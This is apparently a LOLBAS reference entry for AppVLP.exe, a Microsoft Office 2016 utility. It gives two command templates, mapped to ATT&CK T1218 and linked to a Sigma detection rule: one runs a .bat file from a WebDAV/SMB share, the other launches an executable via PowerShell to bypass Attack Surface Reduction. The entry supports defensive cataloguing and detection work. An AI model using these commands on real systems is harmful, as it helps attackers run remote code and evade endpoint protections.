.. /Appvlp.exe
Star

Execute (CMD, EXE)

Application Virtualization Utility Included with Microsoft Office 2016

Paths:

C:\Program Files\Microsoft Office\root\client\appvlp.exe
C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

Resources:

Acknowledgements:

fab (@0rbz_)
Will (@moo_hax)
Matt Wilson (@enigma0x3)

Detections:

Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_appvlp.yml

Execute

Executes .bat file through AppVLP.exe
```
AppVLP.exe {PATH_SMB:.bat}
```
Use case
Execution of BAT file hosted on Webdav server.

Privileges required
User

Operating systems
Windows 10 w/Office 2016

ATT&CK® technique
T1218
Tags
Execute: CMD
Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.
```
AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
```
Use case
Local execution of process bypassing Attack Surface Reduction (ASR).

Privileges required
User

Operating systems
Windows 10 w/Office 2016

ATT&CK® technique
T1218
Tags
Execute: EXE